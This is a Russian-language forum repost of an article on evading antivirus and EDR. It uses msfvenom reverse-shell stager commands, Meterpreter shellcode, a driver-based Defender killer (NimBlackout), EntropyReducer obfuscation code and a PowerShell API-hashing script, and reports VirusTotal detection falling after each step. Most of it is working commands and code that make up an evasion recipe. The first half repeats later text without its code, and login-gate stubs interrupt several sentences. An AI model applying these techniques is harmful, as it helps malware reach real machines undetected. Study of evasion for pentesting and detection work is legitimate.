stihl не предоставил(а) никакой дополнительной информации.
Антивирусы и системы EDR становятся всё навороченнее и даже используют машинное обучение для более точного детектирования. Но у авторов малвари по‑прежнему остаются способы обойти все проверки. В этой статье я покажу несколько техник и инструментов, которые применяют злоумышленники.
Материал призван помочь практикующим специалистам по пентесту и SoC-аналитикам разобраться с тем, как злоумышленники могут проникать в системы, минуя EDR (endpoint detection & response).
Конечная цель — получить обратное соединение на наш C2-сервер, роль которого будет исполнять Metasploit Framework, один из самых популярных пентестерских инструментов.
За последние годы АV и EDR научились уже на ранних стадиях обнаруживать файлы, которые были сгенерированы Metasploit, потому что существует множество сигнатур для выявления установки bind- и reverse-шеллов. EDR определяют, какие файлы .dll и .so используются при старте оболочки Meterpreter, и это лишь малая часть признаков, помогающих выявить вредоносный процесс. Для чистоты эксперимента мы возьмем шелл‑код, сгенерированный через msfvenom, и будем пытаться его модернизировать.
Но для начала посмотрим, сколько сейчас дает баллов VirusTotal на дефолтный exe-стейджер, сгенерированный следующей командой:
Результаты проверки на VirusTotal
То есть стандартный стейджер без проблем обнаруживается современными защитными решениями.
Давай попробуем сделать вариант с обходом. Будем генерировать шелл‑код на С, так как это идеальный выбор, если нам нужна скорость и кросс‑платформенность.
Вот как выглядит наш первоначальный шелл‑код:
Ничего необычного. Шелл‑код просто дает реверс‑шелл, а обмен данных происходит по TCP. Мы даже не применяли шифрование и кодирование.
И конечно, по‑прежнему актуальны старые методы:
или Зарегистрируйся позволяет удалить AV/EDR при помощи уязвимого драйвера. Драйвер GMER используется для взаимодействия с ядром операционной системы и дает возможность обнаруживать и анализировать скрытые вредоносные элементы.
Программа написана на Nim, давай скомпилируем ее на Linux:
На выходе получили PE, в который нужно передать процесс с антивирусом.
Далее надо установить уязвимый драйвер в ОС и запустить наш исполняемый файл.
Установка драйвера и запуск .exe
Эта атака нацелена на Microsoft Defender. Однако тут есть одно но: версия GMER из этого PoC может не сработать на Windows 11 и последних версиях Windows 10. Более того, для запуска нам нужно иметь привилегии локального администратора.
Двоичные файлы вредоносного ПО зачастую имеют более высокую энтропию, чем обычные файлы. Высокая энтропия — явный показатель сжатых, зашифрованных или упакованных данных, которые используются вредоносными программами для скрытия сигнатур.
Для примера посчитаем энтропию от обычного meterpreter/reverse_tcp. Сначала сгенерируем файл:
Для подсчета энтропии мы будем использовать PeStudio.
Подсчет энтропии файла entropy.bin
Результат неутешительный — 6,265, и, как мы видим, PeStudio сразу может предоставить информацию о том, какие антивирусы классифицировали .bin как вредоносный файл.
Если число близится к 8, значит, с огромной вероятностью файл вредоносный. Это отмечено в Для просмотра ссылки Войдиили Зарегистрируйся ниже.
Гистограмма энтропии файлов
Как нам снизить это значение? Тут поможет инструмент Для просмотра ссылки Войдиили Зарегистрируйся.
EntropyReducer сначала проверяет, кратен ли размер полезной нагрузки BUFF_SIZE (эта переменная указывает на количество байтов в полезной нагрузке, после которых будут добавлены пустые байты, NULL_BYTES). Если нет, он увеличивает его до необходимого значения.
У созданного узла пустой буфер размером NULL_BYTES. Этот буфер будет применяться для снижения энтропии.
Затем EntropyReducer продолжает случайным образом менять порядок каждого узла в связном списке, нарушая порядок исходной полезной нагрузки. Этот шаг выполняется с помощью алгоритма сортировки слиянием, который реализован в функции MergeSort.
Отсортированный связный список хранится в случайном порядке, потому что значение, по которому он сортируется, — это значение XOR первых трех байтов исходной полезной нагрузки. Именно оно определяет позицию в реорганизованном связном списке.
Поскольку сохранение списка в файле невозможно из‑за того, что он уже связан указателями, приходится делать сериализацию с помощью функции Obfuscate. После этого выполняется запись в output_file.
Вот что выдает VirusTotal при анализе.
Результаты проверки на VirusTotal
Теперь модифицируем файл через EntropyReducer.
Запуск EntropyReducer
Теперь обнаружение значительно ниже.
Подсчет энтропии файла
Результаты проверки на VirusTotal
Вот так выглядит измененный шелл‑код с уменьшенной энтропией:
Этот код мы можем скомпилировать в .exe. После чего уже не составит труда запустить его, как обычный исполняемый файл.
Чтобы усложнить первоначальный анализ PE, вирусописатели скрывают подозрительные вызовы API от IAT с помощью API-хеширования. Таким образом, когда аналитик запустит вредоносный двоичный файл через утилиту strings или откроет его в PE-парсере, подозрительные Windows API будут скрыты.
Для этого разработчики вредоносного ПО могут использовать следующий подход:
У нас есть пример алгоритма хеширования, который может преобразовать любую функцию в хеш:
За основу для хеширования мы взяли функцию VirtualAlloc. Она позволяет зарезервировать определенный объем памяти.
Преобразование функции в хеш
Проблема только в том, что шелл Meterpreter делает вызов ко множеству API, включая ExitProcess, LoadLibraryA, VirtualAlloc и VirtualFree. И это далеко не полный список. Что же нам делать? Здесь помогает Для просмотра ссылки Войдиили Зарегистрируйся. Этот скрипт вычисляет хеши для огромного множества API и заменяет их названия в шелл‑коде. Давай установим его на Kali Linux и посмотрим, как он работает.
Клонируем репозиторий.
Клонирование репозитория
Генерируем шелл‑код в сыром виде и записываем в файл с расширением .bin.
Генерация шелл‑кода
И наконец, напустим инструмент на file.bin.
Запуск инструмента Randomise-api-hashes-cobalt-strike
Заметил цифру 64 после названия скрипта? Это мы прописываем архитектуру. Разная разрядность — разные вызовы API. После отработки мы получаем файл file.bin_0xf9.bin. Если понадобится получить шелл‑код в сыром виде (С-code), то вновь используем xxd.
Получение шелл‑кода в С-code
А что по обнаружениям?
VirusTotal дал 11 из 69.
Результаты проверки на VirusTotal
И решения из списка исследуемых не дали отрицательный результат.
Результаты обнаружения
Этот шелл‑код уже можно скомпилировать в .exe.
Шелл‑код для компиляции
или Зарегистрируйся».
Материал призван помочь практикующим специалистам по пентесту и SoC-аналитикам разобраться с тем, как злоумышленники могут проникать в системы, минуя EDR (endpoint detection & response).
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
На чем мы тестировали
Для исследований мы использовали Kaspersky Endpoint Detection and Response и его вариацию для Linux (KESL), опенсорсный ClamAV, McAffee, Microsoft Defender Advanced Threat Protection, а также VirusTotal.Конечная цель — получить обратное соединение на наш C2-сервер, роль которого будет исполнять Metasploit Framework, один из самых популярных пентестерских инструментов.
За последние годы АV и EDR научились уже на ранних стадиях обнаруживать файлы, которые были сгенерированы Metasploit, потому что существует множество сигнатур для выявления установки bind- и reverse-шеллов. EDR определяют, какие файлы .dll и .so используются при старте оболочки Meterpreter, и это лишь малая часть признаков, помогающих выявить вредоносный процесс. Для чистоты эксперимента мы возьмем шелл‑код, сгенерированный через msfvenom, и будем пытаться его модернизировать.
Но для начала посмотрим, сколько сейчас дает баллов VirusTotal на дефолтный exe-стейджер, сгенерированный следующей командой:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=444 -f exe -o ab.exe

То есть стандартный стейджер без проблем обнаруживается современными защитными решениями.
Давай попробуем сделать вариант с обходом. Будем генерировать шелл‑код на С, так как это идеальный выбор, если нам нужна скорость и кросс‑платформенность.
Вот как выглядит наш первоначальный шелл‑код:
Код:
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=444-f c
[-] No platform was selected, choosing Msf::Module:latform::Windows from the payload[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of c file: 1518 bytes
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x89"
"\xe5\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
...
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";
Ничего необычного. Шелл‑код просто дает реверс‑шелл, а обмен данных происходит по TCP. Мы даже не применяли шифрование и кодирование.
Что нового в мире AV/EDR
В последние годы большинство вендоров AV/EDR внедрили поведенческий анализ с использованием машинного обучения, что позволяет более точно анализировать поведение программы и классифицировать ее как вредоносную. Для этого проводится постоянный мониторинг процесса: EDR сравнивает действия с профилями поведения. Это повышает шансы обнаружения, но нагружает систему, может приводить к ложным срабатываниям и конфликтам с другим ПО.И конечно, по‑прежнему актуальны старые методы:
- эвристический анализ;
- сигнатурный анализ
- сендбоксинг;
- IAT checking (проверка используемых функций и библиотек. Например, если в IAT есть функции шифрования, то EDR может решить, что перед ним шифровальщик);
- API hooking (перехват вызовов функций и перенаправление потока кода).
info
На сетевом уровне существует несколько методов, которые можно использовать, чтобы попытаться избежать обнаружения: DNS-туннелирование, самоподписанные сертификаты HTTPS, протокол ICMP. Однако современные системы обнаружения угроз не поддаются на все эти уловки.
Фреймворки для обхода AV/EDR
NimBlackout
Для просмотра ссылки ВойдиПрограмма написана на Nim, давай скомпилируем ее на Linux:
nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc c NimBlackout.nim
На выходе получили PE, в который нужно передать процесс с антивирусом.
Далее надо установить уязвимый драйвер в ОС и запустить наш исполняемый файл.

Эта атака нацелена на Microsoft Defender. Однако тут есть одно но: версия GMER из этого PoC может не сработать на Windows 11 и последних версиях Windows 10. Более того, для запуска нам нужно иметь привилегии локального администратора.
EntropyReducer
Как ты, возможно, знаешь, энтропия — это степень случайности в заданном наборе данных. Существуют разные способы измерять энтропию, в нашем контексте под этим термином мы будем подразумевать энтропию Шеннона, которая дает значение от 0 до 8. С увеличением уровня случайности в наборе данных увеличивается и значение энтропии.Двоичные файлы вредоносного ПО зачастую имеют более высокую энтропию, чем обычные файлы. Высокая энтропия — явный показатель сжатых, зашифрованных или упакованных данных, которые используются вредоносными программами для скрытия сигнатур.
Для примера посчитаем энтропию от обычного meterpreter/reverse_tcp. Сначала сгенерируем файл:
msfvenom -p windows/meterpreter/reverse_tcp LHOST = eth0 LPORT = 4444 -f raw -o entropy.bin
Для подсчета энтропии мы будем использовать PeStudio.

Результат неутешительный — 6,265, и, как мы видим, PeStudio сразу может предоставить информацию о том, какие антивирусы классифицировали .bin как вредоносный файл.
Если число близится к 8, значит, с огромной вероятностью файл вредоносный. Это отмечено в Для просмотра ссылки Войди

Как нам снизить это значение? Тут поможет инструмент Для просмотра ссылки Войди
EntropyReducer сначала проверяет, кратен ли размер полезной нагрузки BUFF_SIZE (эта переменная указывает на количество байтов в полезной нагрузке, после которых будут добавлены пустые байты, NULL_BYTES). Если нет, он увеличивает его до необходимого значения.
Код:
// This will represent the seraizlized size of one node
#define SERIALIZED_SIZE (BUFF_SIZE + NULL_BYTES + sizeof(INT)
// Serialized payload size: SERIALIZED_SIZE * (number of nodes)
// Number of nodes: (padded payload size) / BUFF_SIZE
Затем он берет каждый блок BUFF_SIZE из полезной нагрузки и создает для него узел связного списка с помощью функции InitializePayloadList.
BOOL InitializePayloadList(IN PBYTE pPayload, IN OUT PSIZE_T sPayloadSize, OUT PLINKED_LIST* ppLinkedList);
PLINKED_LIST InsertAtTheEnd(IN OUT PLINKED_LIST LinkedList, IN PBYTE pBuffer, IN INT ID);
VOID MergeSort(PLINKED_LIST* top, enum SORT_TYPE eType)
У созданного узла пустой буфер размером NULL_BYTES. Этот буфер будет применяться для снижения энтропии.
Затем EntropyReducer продолжает случайным образом менять порядок каждого узла в связном списке, нарушая порядок исходной полезной нагрузки. Этот шаг выполняется с помощью алгоритма сортировки слиянием, который реализован в функции MergeSort.
Код:
case SORT_BY_BUFFER: {
iValue1 = (int)(top1->pBuffer[0] ^ top1->pBuffer[1] ^ top1->pBuffer[2]); // calculating a value from the payload buffer chunk
iValue2 = (int)(top2->pBuffer[0] ^ top2->pBuffer[1] ^ top2->pBuffer[2]); // calculating a value from the payload buffer chunk
break;
}
Отсортированный связный список хранится в случайном порядке, потому что значение, по которому он сортируется, — это значение XOR первых трех байтов исходной полезной нагрузки. Именно оно определяет позицию в реорганизованном связном списке.
Код:
BOOL Obfuscate(IN PBYTE PayloadBuffer, IN SIZE_T PayloadSize, OUT PBYTE* ObfuscatedBuffer, OUT PSIZE_T ObfuscatedSize) {
PLINKED_LIST pLinkedList = NULL;
*ObfuscatedSize = PayloadSize;
// Convert the payload to a linked list
if (!InitializePayloadList(PayloadBuffer, ObfuscatedSize, &pLinkedList))
return 0;
// ObfuscatedSize now is the size of the serialized linked list
// pLinkedList is the head of the linked list
// Randomize the linked list (sorted by the value of 'Buffer[0] ^ Buffer[1] ^ Buffer[3]')
MergeSort(&pLinkedList, SORT_BY_BUFFER);
// printf("---------------------------\n\n");
// PrintList(pLinkedList);
// printf("---------------------------\n\n");
PLINKED_LIST pTmpHead = pLinkedList;
SIZE_T BufferSize = NULL;
PBYTE BufferBytes = (PBYTE)LocalAlloc(LPTR, SERIALIZED_SIZE);
// Serailize the linked list
while (pTmpHead != NULL) {
// This buffer will keep data of each node
BYTE TmpBuffer [SERIALIZED_SIZE] = { 0 };
// Copying the payload buffer
memcpy(TmpBuffer, pTmpHead->pBuffer, BUFF_SIZE);
// No need to copy the 'Null' element, cz its NULL already
// Copying the ID value
memcpy((TmpBuffer + BUFF_SIZE + NULL_BYTES), &pTmpHead->ID, sizeof(int));
// Reallocating and moving 'TmpBuffer' to the final buffer
BufferSize += SERIALIZED_SIZE;
if (BufferBytes != NULL) {
BufferBytes = (PBYTE)LocalReAlloc(BufferBytes, BufferSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
memcpy((PVOID)(BufferBytes + (BufferSize - SERIALIZED_SIZE)), TmpBuffer, SERIALIZED_SIZE);
}
// Next node
pTmpHead = pTmpHead->Next;
}
// 'BufferBytes' is the serailized buffer
*ObfuscatedBuffer = BufferBytes;
if (*ObfuscatedBuffer != NULL && *ObfuscatedSize > PayloadSize)
return 1;
else
return 0;
}
Поскольку сохранение списка в файле невозможно из‑за того, что он уже связан указателями, приходится делать сериализацию с помощью функции Obfuscate. После этого выполняется запись в output_file.
Вот что выдает VirusTotal при анализе.

Теперь модифицируем файл через EntropyReducer.

Теперь обнаружение значительно ниже.


Вот так выглядит измененный шелл‑код с уменьшенной энтропией:
Код:
unsignedcharentropy_bin_ER[] = {
0x68, 0xc0, 0xa8, 0x8d, 0x00, 0x2f, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
0x29, 0x00, 0x2b, 0x00, 0x00, 0x00, 0x04, 0x56, 0x57, 0x68, 0x00, 0x3d,
...
0x00, 0x00, 0x00, 0x8b, 0x58, 0x24, 0x01, 0x00, 0x1b, 0x00, 0x00, 0x00,
0xbb, 0xf0, 0xb5, 0xa2, 0x00, 0x56, 0x00, 0x00, 0x00};
unsigned int entropy_bin_ER_len = 801;
Этот код мы можем скомпилировать в .exe. После чего уже не составит труда запустить его, как обычный исполняемый файл.
Применяем API Hashing
API Hashing — это техника, которую разработчики вредоносного ПО применяют, чтобы скрыть подозрительные вызовы Windows API от таблицы импорта адресов портативного исполняемого файла (PE). Это затрудняет анализ, поскольку становится сложнее определить, какие функции вызываются.Как это работает?
Проблема для разработчиков вредоносного ПО: если есть PE с неповрежденной IAT (Import Address Table), легко понять, каковы возможности PE. Например, если видно, что двоичный файл загружает Ws2_32.dll, можно предположить, что он имеет сетевые возможности.Чтобы усложнить первоначальный анализ PE, вирусописатели скрывают подозрительные вызовы API от IAT с помощью API-хеширования. Таким образом, когда аналитик запустит вредоносный двоичный файл через утилиту strings или откроет его в PE-парсере, подозрительные Windows API будут скрыты.
Пример обхода
Предположим, у нас есть вредоносное ПО, которое использует функцию CreateThread. Если мы скомпилируем код и проанализируем его с помощью PE-парсера, увидим, что CreateThread — одна из импортированных функций. Однако если мы применим технику API Hashing, то CreateThread исчезнет из IAT.Для этого разработчики вредоносного ПО могут использовать следующий подход:
- Создается хеш‑функция, которая принимает имя функции (например, CreateThread) и возвращает уникальное хеш‑значение.
- Вредоносное ПО во время выполнения перебирает все экспортированные функции из библиотеки (например, kernel32.dll), вычисляет их хеши и сравнивает с хешем CreateThread.
- Как только хеш совпадает, вредоносное ПО получает адрес функции и может вызвать ее напрямую, минуя IAT.
У нас есть пример алгоритма хеширования, который может преобразовать любую функцию в хеш:
Код:
$APIsToHash = @("VirtualAlloc")
$APIsToHash | % {
$api = $_
$hash = 0x35
[int]$i = 0
$api.ToCharArray() | % {
$l = $_
$c = [int64]$l
$c = '0x{0:x}' -f $c
$hash += $hash * 0xab10f29f + $c -band 0xffffff
$hashHex = '0x{0:x}' -f $hash
$i++
write-host "Iteration $i : $l : $c : $hashHex"
}
write-host "$api`t $('0x00{0:x}' -f $hash)"
}
За основу для хеширования мы взяли функцию VirtualAlloc. Она позволяет зарезервировать определенный объем памяти.

Проблема только в том, что шелл Meterpreter делает вызов ко множеству API, включая ExitProcess, LoadLibraryA, VirtualAlloc и VirtualFree. И это далеко не полный список. Что же нам делать? Здесь помогает Для просмотра ссылки Войди
Клонируем репозиторий.

Генерируем шелл‑код в сыром виде и записываем в файл с расширением .bin.
info
Инструмент принимает на вход только .bin!
И наконец, напустим инструмент на file.bin.

Заметил цифру 64 после названия скрипта? Это мы прописываем архитектуру. Разная разрядность — разные вызовы API. После отработки мы получаем файл file.bin_0xf9.bin. Если понадобится получить шелл‑код в сыром виде (С-code), то вновь используем xxd.

А что по обнаружениям?
VirusTotal дал 11 из 69.

И решения из списка исследуемых не дали отрицательный результат.

Этот шелл‑код уже можно скомпилировать в .exe.
